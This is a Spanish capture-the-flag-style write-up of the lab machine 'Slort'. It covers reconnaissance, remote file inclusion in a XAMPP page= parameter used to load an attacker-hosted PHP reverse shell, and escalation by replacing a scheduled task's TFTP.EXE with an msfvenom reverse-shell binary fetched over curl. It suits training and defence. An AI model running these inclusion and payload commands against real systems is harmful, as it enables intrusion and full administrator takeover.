Slort
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Un XAMPP en el 8080 sirvesite/index.php?page=, vulnerable a inclusión remota de fichero: apuntamos el parámetro a unrev.phpalojado en nuestra máquina y ganamos shell comoslort\rupert(RFI a RCE). Para escalar, una tarea programada ejecuta cada 5 minutos unTFTP.EXEdesde un directorio escribible; lo sustituimos por un binario malicioso y la tarea nos devuelve una shell como Administrator (secuestro de tarea programada).
Reconocimiento
Escaneo inicial
TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Superficie amplia con FTP, SMB, MySQL y dos XAMPP.
ping -c 1 192.168.219.53
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.219.53PORT STATE SERVICE
21/tcp open ftp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
4443/tcp open http
8080/tcp open httpnmap -p21,135,139,445,3306,4443,8080 -sCV 192.168.219.53 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd 0.9.41 beta
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
4443/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: Welcome to XAMPPHTTP - TCP 8080
Un dirsearch sobre el 8080 encuentra /site/, que redirige a index.php?page=main.php:
dirsearch -u http://192.168.219.53:8080/ --exclude-status=404,403301 - 27B - /site/ -> index.php?page=main.phpEl sitio /site/ carga sus secciones vía index.php?page=main.php:

Un parámetro page= que carga otra página PHP grita inclusión de ficheros. Probando un valor que no existe (?page=test), el error de PHP lo confirma: el parámetro va directo a un include():

Como el PHP de XAMPP suele traer allow_url_include activo, probamos una inclusión remota: apuntamos page= a un fichero servido por nuestra máquina y nuestro http.server recibe la petición. La inclusión remota funciona:

Explotación
RFI: page= apuntando a nuestro rev.php
Como webshell usamos el PHP de Ivan Sincek de revshells.com:

Lo servimos desde nuestra máquina como rev.php y apuntamos el parámetro page= a esa URL (RFI a RCE):
python3 -m http.server 80 # sirve rev.php
penelope # listener a la espera de la reverse shell
curl 'http://192.168.219.53:8080/site/index.php?page=http://192.168.45.238/rev.php'
192.168.219.53 - - [13/Feb/2026 20:42:22] "GET /rev.php HTTP/1.0" 200 -
[+] Got reverse shell from SLORT~192.168.219.53-Microsoft_Windows_10_Pro-x64-based_PC 😎 Assigned SessionID <1>
C:\xampp\htdocs\site>whoami
slort\rupertLa shell corre como slort\rupert.
Local
type C:\Users\rupert\Desktop\local.txt & whoami & ipconfig & hostname
3cf7934a6a47ccfaeeff9ba463df09c1
slort\rupertEscalada de privilegios
Tarea programada: reemplazo del binario TFTP.EXE
Enumerando la raíz aparece un directorio inusual C:\Backup. Dentro, un info.txt documenta lo que hace la máquina:
dir
cd C:\Backup & dir & type info.txt
C:\>dir
Directory of C:\
02/13/2026 12:57 PM <DIR> Backup
02/13/2026 11:27 AM 2,848 output.txt
12/07/2019 01:14 AM <DIR> PerfLogs
05/04/2022 12:06 AM <DIR> Program Files
12/03/2021 08:22 AM <DIR> Program Files (x86)
12/03/2021 08:29 AM <DIR> Users
05/04/2022 12:52 AM <DIR> Windows
06/12/2020 07:11 AM <DIR> xampp
C:\Backup>dir
Directory of C:\Backup
06/12/2020 06:45 AM 11,304 backup.txt
06/12/2020 06:45 AM 73 info.txt
02/13/2026 12:57 PM 7,680 TFTP.exe
C:\Backup>type info.txt
Run every 5 minutes:
C:\Backup\TFTP.EXE -i 192.168.234.57 get backup.txtTres detalles de ese listado. El Backup no es un directorio de Windows: aparece junto a PerfLogs, Program Files y xampp, y su fecha de modificación es de hoy, no de la instalación. El info.txt ocupa solo 73 bytes, es decir, dos líneas. Y el TFTP.exe de dentro también lleva la fecha de hoy: la tarea lo está tocando.

Una tarea programada lanza C:\Backup\TFTP.EXE periódicamente, y ese directorio es escribible por nuestro usuario. Si sustituimos el TFTP.EXE por un binario nuestro, la tarea lo ejecutará con sus privilegios (secuestro de tarea programada). Generamos un reverse shell y lo colocamos:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.238 LPORT=4321 -f exe > TFTP.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7680 bytes
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...Levantamos el nc que recibirá la conexión:
rlwrap nc -nlvp 4321En la víctima, guardamos el original como .bak y descargamos el nuestro con curl:
move TFTP.EXE TFTP.EXE.bak
curl http://192.168.45.238:8000/TFTP.exe -o TFTP.exe
C:\Backup>curl http://192.168.45.238:8000/TFTP.exe -o TFTP.exe
% Total % Received % Xferd Average Speed Time Time Time Current
100 7680 100 7680 0 0 7680 0 0:00:01 --:--:-- 0:00:01 120k
C:\Backup>dir
Directory of C:\Backup
02/13/2026 02:32 PM <DIR> .
02/13/2026 02:32 PM <DIR> ..
06/12/2020 06:45 AM 11,304 backup.txt
06/12/2020 06:45 AM 73 info.txt
02/13/2026 02:32 PM 7,680 TFTP.exe
06/23/2020 06:49 AM 73,802 TFTP.EXE.bak
4 File(s) 92,859 bytes
2 Dir(s) 28,583,464,960 bytes freeEsperamos a la siguiente ejecución (máximo 5 minutos) con un listener a la escucha, y la tarea nos devuelve una shell como slort\administrator.

Proof
type C:\Users\Administrator\Desktop\proof.txt & whoami & ipconfig & hostname
ab67dc76f3463cc92f7cc5fea6cbde32
slort\administratorCadena de ataque
XAMPP 8080 -- /site/index.php?page=
│ allow_url_include -> RFI a http://<lhost>/rev.php
▼
slort\rupert (local.txt)
│ C:\Backup\info.txt -> tarea cada 5 min ejecuta C:\Backup\TFTP.EXE (dir escribible)
│ reemplazar TFTP.EXE por payload msfvenom
▼
slort\administrator (proof.txt)Lecciones aprendidas
- Un parámetro
page=que incluye páginas es LFI/RFI. Conallow_url_includeactivo (habitual en XAMPP de laboratorio), la inclusión remota da RCE directo sin subir nada al servidor. - Documentar la tarea en un
info.txtes regalar el vector. El fichero explicaba qué binario y con qué frecuencia se ejecutaba; enumerar directorios "raros" comoC:\Backuppaga. - Directorio escribible + tarea programada = escalada. Si un proceso privilegiado ejecuta un binario desde una ruta que un usuario puede escribir, ese usuario controla lo que corre con privilegios.
- Defensa: las rutas de ejecución de tareas y servicios deben ser solo-escritura para administradores, y los binarios deberían validarse (firma/hash) antes de ejecutarse.